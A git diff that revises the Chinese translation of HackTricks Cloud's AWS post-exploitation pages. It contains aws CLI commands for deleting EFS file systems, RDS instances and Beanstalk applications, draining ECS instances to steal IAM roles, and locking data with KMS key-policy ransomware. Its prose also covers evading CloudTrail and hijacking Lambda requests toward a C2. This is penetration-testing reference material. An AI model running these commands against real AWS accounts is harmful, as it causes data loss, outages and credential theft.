diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index 765c1d31e..f7fa544f9 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -1,15 +1,15 @@
-# AWS - Malicious VPC Mirror
+# AWS - 恶意 VPC 镜像
{{#include ../../../../banners/hacktricks-training.md}}
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
+**查看** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **以获取攻击的更多细节!**
-在云环境中进行被动网络检查一直是**具有挑战性的**,需要对网络流量进行重大配置更改。然而,AWS引入了一项名为“**VPC流量镜像**”的新功能,以简化此过程。通过VPC流量镜像,可以**复制**VPC内的网络流量,而无需在实例上安装任何软件。这些复制的流量可以发送到网络入侵检测系统(IDS)进行**分析**。
+在云环境中被动网络检查一直是**具有挑战性的**,需要进行重大配置更改以监控网络流量。然而,AWS 引入了一项名为“**VPC 流量镜像**”的新功能,以简化此过程。通过 VPC 流量镜像,可以在 VPC 内部**复制**网络流量,而无需在实例上安装任何软件。这些复制的流量可以发送到网络入侵检测系统(IDS)进行**分析**。
-为了满足**自动部署**镜像和提取VPC流量所需基础设施的需求,我们开发了一个名为“**malmirror**”的概念验证脚本。该脚本可以与**被攻陷的AWS凭证**一起使用,以在目标VPC中为所有支持的EC2实例设置镜像。需要注意的是,VPC流量镜像仅支持由AWS Nitro系统提供支持的EC2实例,并且VPC镜像目标必须与被镜像主机位于同一VPC中。
+为了满足**自动部署**镜像和提取 VPC 流量所需基础设施的需求,我们开发了一个名为“**malmirror**”的概念验证脚本。该脚本可以与**被攻陷的 AWS 凭证**一起使用,以在目标 VPC 中为所有支持的 EC2 实例设置镜像。需要注意的是,VPC 流量镜像仅支持由 AWS Nitro 系统提供支持的 EC2 实例,并且 VPC 镜像目标必须与被镜像主机位于同一 VPC 中。
-恶意VPC流量镜像的**影响**可能是显著的,因为它允许攻击者访问在VPC中传输的**敏感信息**。考虑到VPC中存在**明文流量**,这种恶意镜像的**可能性**很高。许多公司在其内部网络中使用明文协议以**性能原因**,假设传统的中间人攻击是不可能的。
+恶意 VPC 流量镜像的**影响**可能是显著的,因为它允许攻击者访问在 VPC 内传输的**敏感信息**。考虑到 VPC 中存在**明文流量**,这种恶意镜像的**可能性**很高。许多公司在其内部网络中使用明文协议出于**性能原因**,假设传统的中间人攻击是不可能的。
-有关更多信息和访问[**malmirror脚本**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror),可以在我们的**GitHub存储库**中找到。该脚本自动化并简化了该过程,使其对攻击性研究目的**快速、简单且可重复**。
+有关更多信息和访问 [**malmirror 脚本**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror),可以在我们的**GitHub 仓库**中找到。该脚本自动化并简化了该过程,使其对攻击性研究目的**快速、简单且可重复**。
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index 54a2f7f6d..b11c948e6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -13,7 +13,7 @@
### 主机 IAM 角色
在 ECS 中,**IAM 角色可以分配给在容器内运行的任务**。**如果**任务在 **EC2** 实例内运行,**EC2 实例**将附加 **另一个 IAM** 角色。\
-这意味着如果你成功 **攻陷** 一个 ECS 实例,你可能会 **获得与 ECR 和 EC2 实例相关联的 IAM 角色**。有关如何获取这些凭据的更多信息,请查看:
+这意味着如果你成功 **攻陷** 一个 ECS 实例,你可能会 **获取与 ECR 和 EC2 实例相关联的 IAM 角色**。有关如何获取这些凭据的更多信息,请查看:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -24,21 +24,21 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### 提权到节点以窃取其他容器的凭据和秘密
-此外,EC2 使用 docker 来运行 ECs 任务,因此如果你能够逃逸到节点或 **访问 docker 套接字**,你可以 **检查** 哪些 **其他容器** 正在运行,甚至可以 **进入它们** 并 **窃取** 附加的 IAM 角色。
+此外,EC2 使用 docker 来运行 ECs 任务,因此如果你能够逃逸到节点或 **访问 docker 套接字**,你可以 **检查** 运行的 **其他容器**,甚至 **进入它们** 并 **窃取它们附加的 IAM 角色**。
-#### 使容器在当前主机上运行
+#### 在当前主机上运行容器
-此外,**EC2 实例角色**通常会拥有足够的 **权限** 来 **更新集群内作为节点使用的 EC2 实例的容器实例状态**。攻击者可以将 **实例的状态修改为 DRAINING**,然后 ECS 将 **从中移除所有任务**,而作为 **REPLICA** 运行的任务将 **在不同的实例中运行,** 可能在 **攻击者的实例** 内,这样他就可以 **窃取它们的 IAM 角色** 和潜在的敏感信息。
+此外,**EC2 实例角色**通常会有足够的 **权限** 来 **更新作为集群内节点使用的 EC2 实例的容器实例状态**。攻击者可以将 **实例的状态修改为 DRAINING**,然后 ECS 将 **从中移除所有任务**,而作为 **REPLICA** 运行的任务将 **在不同的实例中运行,** 可能在 **攻击者的实例内**,这样他就可以 **窃取它们的 IAM 角色** 和潜在的敏感信息。
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
```
-相同的技术可以通过 **从集群中注销 EC2 实例** 来实现。这可能不那么隐蔽,但它将 **强制任务在其他实例中运行:**
+相同的技术可以通过**将EC2实例从集群中注销**来实现。这可能不那么隐蔽,但它将**强制任务在其他实例中运行:**
```bash
aws ecs deregister-container-instance \
--cluster --container-instance --force
```
-一种强制重新执行任务的最终技术是通过指示ECS **任务或容器已停止**。有3个潜在的API可以做到这一点:
+强制重新执行任务的最终技术是通过指示ECS **任务或容器已停止**。有3个潜在的API可以做到这一点:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index 466275cf4..0ea134054 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -12,7 +12,7 @@
### `elasticfilesystem:DeleteMountTarget`
-攻击者可以删除挂载目标,可能会干扰依赖该挂载目标的应用程序和用户对 EFS 文件系统的访问。
+攻击者可以删除挂载目标,可能会中断依赖该挂载目标的应用程序和用户对 EFS 文件系统的访问。
```sql
aws efs delete-mount-target --mount-target-id
```
@@ -20,7 +20,7 @@ aws efs delete-mount-target --mount-target-id
### `elasticfilesystem:DeleteFileSystem`
-攻击者可以删除整个 EFS 文件系统,这可能导致数据丢失并影响依赖该文件系统的应用程序。
+攻击者可能会删除整个 EFS 文件系统,这可能导致数据丢失并影响依赖于该文件系统的应用程序。
```perl
aws efs delete-file-system --file-system-id
```
@@ -36,7 +36,7 @@ aws efs update-file-system --file-system-id --provisioned-throughput-in-
### `elasticfilesystem:CreateAccessPoint` 和 `elasticfilesystem:DeleteAccessPoint`
-攻击者可以创建或删除访问点,改变访问控制,并可能授予自己对文件系统的未经授权访问。
+攻击者可以创建或删除访问点,改变访问控制,并可能授予自己对文件系统的未经授权的访问权限。
```arduino
aws efs create-access-point --file-system-id --posix-user --root-directory
aws efs delete-access-point --access-point-id
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index 54d0c9047..ef7fd4f02 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev
```
- 不是那么简单的方法:
-如果你可以 **获取一个令牌** 使用 **`aws eks get-token --name `** 但你没有权限获取集群信息 (describeCluster),你可以 **准备你自己的 `~/.kube/config`**。然而,拥有令牌后,你仍然需要 **连接的 URL 端点** (如果你设法从一个 pod 获取了 JWT 令牌,请阅读 [这里](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) 和 **集群的名称**。
+如果你可以 **获取一个令牌** 使用 **`aws eks get-token --name `** 但你没有权限获取集群信息 (describeCluster),你可以 **准备你自己的 `~/.kube/config`**。然而,拥有令牌后,你仍然需要 **连接的 url 端点** (如果你设法从 pod 获取了 JWT 令牌,请 [在这里](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) 阅读) 和 **集群的名称**。
在我的案例中,我没有在 CloudWatch 日志中找到信息,但我 **在 LaunchTemplates 的 userData 中找到了它**,并且在 **EC2 机器的 userData 中也找到了**。你可以很容易地在 **userData** 中看到这些信息,例如在下一个示例中(集群名称是 cluster-name):
```bash
@@ -72,14 +72,14 @@ provideClusterInfo: false
### 从 AWS 到 Kubernetes
-**EKS 集群**的**创建者****总是**能够进入**`system:masters`**组的 Kubernetes 集群部分(k8s 管理员)。在撰写本文时,**没有直接的方法**来查找**谁创建了**该集群(您可以检查 CloudTrail)。并且**无法****移除**该**权限**。
+**EKS 集群**的**创建者****总是**能够进入**`system:masters`**组的 Kubernetes 集群部分(k8s 管理员)。在撰写本文时,**没有直接的方法**来查找**谁创建了**该集群(您可以检查 CloudTrail)。并且**无法**去**移除**该**权限**。
授予**更多 AWS IAM 用户或角色对 K8s 的访问权限**的方法是使用**configmap** **`aws-auth`**。
> [!WARNING]
-> 因此,任何对 config map **`aws-auth`**具有**写访问权限**的人都将能够**危害整个集群**。
+> 因此,任何对 config map **`aws-auth`**具有**写入权限**的人都将能够**危害整个集群**。
-有关如何在**同一或不同账户**中**授予 IAM 角色和用户额外权限**以及如何**滥用**此权限的更多信息,请查看[**privesc 检查此页面**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。
+有关如何在**同一或不同账户**中**授予 IAM 角色和用户额外权限**以及如何**滥用**此权限的信息,请查看[**privesc 检查此页面**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。
还可以查看[**这篇精彩的**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **文章以了解 IAM -> Kubernetes 的身份验证是如何工作的**。
@@ -93,7 +93,7 @@ provideClusterInfo: false
```bash
https://...eks.amazonaws.com
```
-没有找到任何文档来解释“两个字符”和“数字”的标准。但我自己进行了一些测试,发现这些是重复出现的:
+没有找到任何文档来解释“两个字符”和“数字”的标准。但根据我自己的测试,我发现这些是重复出现的:
- gr7
- yl4
@@ -119,11 +119,11 @@ f.write('\n'.join(result))
wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com
```
> [!WARNING]
-> 记得替换 & 。
+> 请记得替换 & 。
### 绕过 CloudTrail
-如果攻击者获得了具有 **EKS 权限** 的 AWS 凭证。如果攻击者配置自己的 **`kubeconfig`**(不调用 **`update-kubeconfig`**),如前所述,**`get-token`** 不会在 CloudTrail 中生成日志,因为它不与 AWS API 交互(它只是本地创建令牌)。
+如果攻击者获得了具有 **EKS 权限** 的 AWS 凭证。如果攻击者配置自己的 **`kubeconfig`**(不调用 **`update-kubeconfig`**),如前所述,**`get-token`** 不会在 Cloudtrail 中生成日志,因为它不与 AWS API 交互(它只是本地创建令牌)。
因此,当攻击者与 EKS 集群交互时,**cloudtrail 不会记录与被盗用户及其访问相关的任何内容**。
@@ -131,12 +131,12 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
### EKS 勒索?
-默认情况下,**创建**集群的 **用户或角色** **始终拥有集群的管理员权限**。这是 AWS 对 Kubernetes 集群的唯一“安全”访问。
+默认情况下,**创建**集群的 **用户或角色** **始终会拥有集群的管理员权限**。这是 AWS 对 Kubernetes 集群的唯一“安全”访问。
-因此,如果 **攻击者通过 Fargate 破坏了集群**,并 **删除了所有其他管理员**,并 **删除了创建**集群的 AWS 用户/角色,~~攻击者可能已经 **勒索了集群**~~**。
+因此,如果 **攻击者通过 fargate 破坏了集群**,并 **移除了所有其他管理员**,并 **删除了创建**集群的 AWS 用户/角色,~~攻击者可能已经 **勒索了集群**~~**。
> [!TIP]
-> 请注意,如果集群使用 **EC2 虚拟机**,则可能从 **节点** 获取管理员权限并恢复集群。
+> 请注意,如果集群使用 **EC2 VMs**,则可能从 **节点** 获取管理员权限并恢复集群。
>
> 实际上,如果集群使用 Fargate,您可以将 EC2 节点或将所有内容移动到 EC2 集群并通过访问节点中的令牌来恢复它。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index 6bbb031b8..5e1ebb581 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -26,18 +26,18 @@ aws elasticbeanstalk delete-application-version --application-name my-app --vers
> [!NOTE]
> TODO: 测试是否需要更多权限
-拥有权限 `elasticbeanstalk:TerminateEnvironment` 的攻击者可以**终止现有的 Elastic Beanstalk 环境**,导致应用程序停机,并且如果环境未配置备份,可能会导致数据丢失。
+拥有权限 `elasticbeanstalk:TerminateEnvironment` 的攻击者可以 **终止现有的 Elastic Beanstalk 环境**,导致应用程序停机,并且如果环境未配置备份,可能会导致数据丢失。
```bash
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
```
-**潜在影响**:应用程序的停机、潜在的数据丢失和服务中断。
+**潜在影响**:应用程序停机、潜在数据丢失和服务中断。
### `elasticbeanstalk:DeleteApplication`
> [!NOTE]
> TODO: 测试是否需要更多权限
-拥有权限 `elasticbeanstalk:DeleteApplication` 的攻击者可以**删除整个 Elastic Beanstalk 应用程序**,包括其所有版本和环境。如果没有备份,此操作可能导致应用程序资源和配置的重大损失。
+拥有权限 `elasticbeanstalk:DeleteApplication` 的攻击者可以 **删除整个 Elastic Beanstalk 应用程序**,包括其所有版本和环境。如果没有备份,此操作可能导致应用程序资源和配置的重大损失。
```bash
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
```
@@ -65,6 +65,6 @@ aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
```
-**潜在影响**:由于添加或删除标签,导致资源分配、计费或资源管理不正确。
+**潜在影响**:由于添加或删除标签,导致资源分配、计费或资源管理不正确。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index 97a579f6c..b92737ba4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - IAM Post Exploitation
+# AWS - IAM 后期利用
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,15 +10,15 @@
../aws-services/aws-iam-enum.md
{{#endref}}
-## Confused Deputy Problem
+## 混淆代理问题
如果您**允许一个外部账户 (A)** 访问您账户中的**角色**,您可能对**谁可以确切访问该外部账户**几乎没有**可见性**。这是一个问题,因为如果另一个外部账户 (B) 可以访问外部账户 (A),那么**B 也可能能够访问您的账户**。
-因此,在允许外部账户访问您账户中的角色时,可以指定一个 `ExternalId`。这是一个“秘密”字符串,外部账户 (A) **需要指定**以**假设您组织中的角色**。由于**外部账户 B 不会知道这个字符串**,即使他可以访问 A,他也**无法访问您的角色**。
+因此,当允许外部账户访问您账户中的角色时,可以指定一个 `ExternalId`。这是一个“秘密”字符串,外部账户 (A) **需要指定**以**假设您组织中的角色**。由于**外部账户 B 不知道这个字符串**,即使他可以访问 A,他也**无法访问您的角色**。
.png)
-但是,请注意,这个 `ExternalId` “秘密”**并不是秘密**,任何可以**读取 IAM 假设角色策略的人都能看到它**。但只要外部账户 A 知道它,而外部账户 **B 不知道它**,就**可以防止 B 利用 A 访问您的角色**。
+但是,请注意,这个 `ExternalId` “秘密”并**不是秘密**,任何可以**读取 IAM 假设角色策略的人都能看到它**。但只要外部账户 A 知道它,而外部账户 **B 不知道它**,就**可以防止 B 利用 A 访问您的角色**。
示例:
```json
@@ -53,7 +53,7 @@
```
此策略**允许所有AWS**承担该角色。
-#### 服务作为主体
+#### 以服务为主体
```json
{
"Action": "lambda:InvokeFunction",
@@ -62,9 +62,9 @@
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
-此策略**允许任何账户**配置其 apigateway 以调用此 Lambda。
+此策略**允许任何账户**配置他们的apigateway以调用此Lambda。
-#### S3 作为主体
+#### S3作为主体
```json
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@
}
}
```
-如果将 S3 存储桶作为主体,因为 S3 存储桶没有账户 ID,如果你**删除了你的存储桶而攻击者在他们自己的账户中创建了它**,那么他们可能会利用这一点。
+如果将 S3 存储桶作为主体,因为 S3 存储桶没有账户 ID,如果你 **删除了你的存储桶,攻击者在他们自己的账户中创建了它**,那么他们可能会滥用这一点。
#### 不支持
```json
@@ -84,7 +84,7 @@
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
-避免 Confused Deputy 问题的常见方法是使用带有 `AWS:SourceArn` 的条件来检查源 ARN。然而,**某些服务可能不支持这一点**(根据一些来源,如 CloudTrail)。
+避免 Confused Deputy 问题的一个常见方法是使用带有 `AWS:SourceArn` 的条件来检查源 ARN。然而,**某些服务可能不支持这一点**(根据一些来源,CloudTrail 就是其中之一)。
## References
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index d6bf5bc4c..f036418e3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
-- 使用 **非对称** 密钥:
+- 使用**非对称**密钥:
```bash
# Encrypt data
aws kms encrypt \
@@ -62,7 +62,7 @@ aws kms decrypt \
拥有 KMS 特权访问权限的攻击者可以修改密钥的 KMS 策略并**授予他的账户访问权限**,同时移除授予合法账户的访问权限。
-这样,合法账户的用户将无法访问任何使用这些密钥加密的服务的信息,从而在账户上创建一个简单但有效的勒索软件。
+然后,合法账户的用户将无法访问任何使用这些密钥加密的服务的信息,从而在账户上创建一个简单但有效的勒索软件。
> [!WARNING]
> 请注意,**AWS 管理的密钥不受此攻击影响**,只有**客户管理的密钥**。
@@ -100,10 +100,10 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
#### 全球 KMS 勒索软件
-执行全球 KMS 勒索软件还有另一种方法,涉及以下步骤:
+还有另一种执行全球 KMS 勒索软件的方法,涉及以下步骤:
-- 创建一个新的 **密钥,密钥材料由攻击者导入**
-- **使用新密钥重新加密** 使用先前版本加密的旧数据。
+- 创建一个**由攻击者导入的密钥材料的新密钥**
+- **使用新密钥重新加密**使用先前版本加密的旧数据。
- **删除 KMS 密钥**
- 现在只有拥有原始密钥材料的攻击者才能解密加密数据
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
-> 请注意,AWS 现在**防止从跨账户执行之前的操作:**
+> 请注意,AWS 现在**阻止从跨账户执行之前的操作:**
.png)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index 1e2823a48..58b5481a8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -10,7 +10,7 @@
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### 窃取其他 Lambda URL 请求
+### 窃取其他用户的 Lambda URL 请求
如果攻击者以某种方式在 Lambda 内部获得 RCE,他将能够窃取其他用户对该 Lambda 的 HTTP 请求。如果请求包含敏感信息(cookies、凭证等),他将能够窃取这些信息。
@@ -18,7 +18,7 @@
aws-warm-lambda-persistence.md
{{#endref}}
-### 窃取其他 Lambda URL 请求和扩展请求
+### 窃取其他用户的 Lambda URL 请求和扩展请求
滥用 Lambda Layers 也可以滥用扩展并在 Lambda 中持久化,同时窃取和修改请求。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index 427cd8026..eb0d59551 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -6,7 +6,7 @@
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
-1. **Slicer** 是一个在容器外部的进程,它 **发送** **调用** 到 **init** 进程。
+1. **Slicer** 是一个在容器外部的进程,**发送** **调用** 到 **init** 进程。
2. init 进程监听端口 **9001**,暴露一些有趣的端点:
- **`/2018-06-01/runtime/invocation/next`** – 获取下一个调用事件
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – 返回调用的处理程序响应
@@ -18,13 +18,13 @@
## Stealing Lambda Requests
-此次攻击的目标是让用户代码在处理易受攻击请求的 **`bootstrap.py`** 进程内部执行一个恶意的 **`bootstrap.py`** 进程。这样,**恶意 bootstrap** 进程将开始 **与 init 进程通信** 以处理请求,而 **合法** 的 bootstrap 被 **困住** 运行恶意进程,因此它不会向 init 进程请求请求。
+此攻击的目标是使用户代码在处理易受攻击请求的 **`bootstrap.py`** 进程内部执行一个恶意的 **`bootstrap.py`** 进程。这样,**恶意 bootstrap** 进程将开始 **与 init 进程通信** 以处理请求,而 **合法** 的 bootstrap 被 **困住** 运行恶意进程,因此它不会向 init 进程请求请求。
这是一个简单的任务,因为用户的代码是由合法的 **`bootstrap.py`** 进程执行的。因此攻击者可以:
-- **向 init 进程发送当前调用的假结果**,使 init 认为 bootstrap 进程在等待更多调用。
+- **向 init 进程发送当前调用的假结果**,使 init 认为 bootstrap 进程正在等待更多调用。
- 必须向 **`/${invoke-id}/response`** 发送请求
-- invoke-id 可以通过使用 [**inspect**](https://docs.python.org/3/library/inspect.html) python 模块从合法的 **`bootstrap.py`** 进程的堆栈中获取(如 [这里所提议](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py))或再次请求 **`/2018-06-01/runtime/invocation/next`**(如 [这里所提议](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py))。
+- invoke-id 可以通过使用 [**inspect**](https://docs.python.org/3/library/inspect.html) python 模块从合法的 **`bootstrap.py`** 进程的堆栈中获取(如 [这里所提议的](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py))或再次请求 **`/2018-06-01/runtime/invocation/next`**(如 [这里所提议的](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py))。
- 执行一个恶意的 **`boostrap.py`**,它将处理下一个调用
- 为了隐蔽性,可以将 lambda 调用参数发送到攻击者控制的 C2,然后像往常一样处理请求。
- 对于此攻击,只需从系统或 [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) 获取原始的 **`bootstrap.py`** 代码,添加恶意代码并从当前 lambda 调用中运行它即可。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index 10660b01d..8d26299d6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -12,16 +12,16 @@
### 恢复旧的数据库快照
-如果数据库有快照,您可能能够**找到当前已删除的敏感信息在旧快照中**。**恢复**快照到**新数据库**并检查。
+如果数据库有快照,您可能能够**找到当前已删除的敏感信息在旧快照中**。**恢复**快照到**新数据库**并进行检查。
### 恢复实例快照
-实例快照可能包含**已删除实例的敏感信息**或当前实例中已删除的敏感信息。**从快照创建新实例**并检查它们。\
-或者**将快照导出到EC2中的AMI**并按照典型EC2实例的步骤进行操作。
+实例快照可能包含**已删除实例的敏感信息**或当前实例中已删除的敏感信息。**从快照创建新实例**并进行检查。\
+或者**将快照导出到 EC2 中的 AMI**,并按照典型 EC2 实例的步骤进行操作。
### 访问敏感信息
-查看Lightsail特权提升选项以了解访问潜在敏感信息的不同方法:
+查看 Lightsail 权限提升选项,以了解访问潜在敏感信息的不同方法:
{{#ref}}
../aws-privilege-escalation/aws-lightsail-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
index 277fd6586..cd2513f63 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
@@ -1,8 +1,8 @@
-# AWS - Organizations Post Exploitation
+# AWS - 组织后渗透
{{#include ../../../banners/hacktricks-training.md}}
-## Organizations
+## 组织
有关 AWS Organizations 的更多信息,请查看:
@@ -10,7 +10,7 @@
../aws-services/aws-organizations-enum.md
{{#endref}}
-### Leave the Org
+### 离开组织
```bash
aws organizations deregister-account --account-id --region
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index d6e46c7e8..2d7ba7731 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
### `rds:DeleteDBInstance`
-拥有这些权限的攻击者可以**对现有的 RDS 实例进行 DoS 攻击**。
+具有这些权限的攻击者可以**对现有的 RDS 实例进行 DoS 攻击**。
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index bc8756e3b..ec7c4a247 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -12,26 +12,26 @@
### 敏感信息
-有时您可以在存储桶中找到可读的敏感信息。例如,terraform 状态机密。
+有时您可以在可读的桶中找到敏感信息。例如,terraform 状态机密。
-### 侧向渗透
+### 侧向移动
-不同的平台可能会使用 S3 存储敏感资产。\
-例如,**airflow** 可能会在其中存储 **DAGs** **代码**,或者 **网页** 可能会直接从 S3 提供服务。具有写入权限的攻击者可以 **修改存储桶中的代码** 以 **侧向渗透** 到其他平台,或 **接管账户** 修改 JS 文件。
+不同的平台可能使用 S3 存储敏感资产。\
+例如,**airflow** 可能在其中存储 **DAGs** **代码**,或者 **网页** 可能直接从 S3 提供服务。具有写入权限的攻击者可以 **修改桶中的代码** 以 **侧向移动** 到其他平台,或 **接管账户** 修改 JS 文件。
### S3 勒索软件
-在这种情况下,**攻击者在他们自己的 AWS 账户** 或另一个被攻陷的账户中创建一个 KMS(密钥管理服务)密钥。然后,他们使这个 **密钥对全世界的任何人可用**,允许任何 AWS 用户、角色或账户使用此密钥加密对象。然而,这些对象无法被解密。
+在这种情况下,**攻击者在他们自己的 AWS 账户** 或另一个被攻陷的账户中创建一个 KMS(密钥管理服务)密钥。然后,他们使这个 **密钥对全世界可用**,允许任何 AWS 用户、角色或账户使用此密钥加密对象。然而,这些对象无法被解密。
